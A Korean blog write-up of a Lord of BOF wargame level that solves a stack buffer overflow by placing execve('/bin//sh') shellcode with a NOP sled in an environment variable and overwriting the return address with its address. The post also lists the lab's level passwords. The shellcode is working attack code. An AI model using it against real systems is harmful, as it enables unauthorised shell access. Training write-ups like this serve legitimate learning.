CafeM0ca

Level1 gremlin 본문

Hacking/LOB(Red Hat)

Level1 gremlin

M0ca 2017. 8. 22. 11:39
반응형

입장 ID: gremlin

입장 password: hello bof world


이번 몬스터는 cobolt다.

코드를 확인하자.



gremlin과 같은 코드이지만 버퍼가 256바이트에서 16바이트로 줄었다.


이번에는 환경변수를 통하여 공격을 시도하겠다.

export Shell=`python -c 'print "\x90"*300 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"'`


환경변수에 위의 쉘코드를 올리자!


스택 구조

buffer 16 | SFP 4 | RET 4 |


모카는 아래와 같이 페이로드를 작성할 것이다.

buffer A*20        | &(환경변수)


이제 환경변수 주소를 구하자.



임의로 만든 getenv.c 파일에 환경변수 주소를 구하는 코드를 작성하고 gcc로 컴파일한다. 그리고 컴파일한 파일을 실행시키면 환경변수의 주소를 구할 수 있다.


페이로드를 아래와 같이 작성할 수 있다.



공격 실행 원리는 


buffer와 SFP를 덮고 RET주소에 환경변수의 주소를 넣으면 

스택이 pop되면서 RET(환경변수 주소)이 실행되면서 환경변수에 등록된 쉘코드가 실행된다.


다음 ID: cobolt

다음 password: hacking exposed

반응형

'Hacking > LOB(Red Hat)' 카테고리의 다른 글

level4 orc  (0) 2017.09.14
Level3 goblin  (0) 2017.09.13
Level2 cobolt  (0) 2017.08.24
Level0 gate  (0) 2017.08.22
[LOB]풀이를 시작하기전에 필독  (0) 2017.08.21
Comments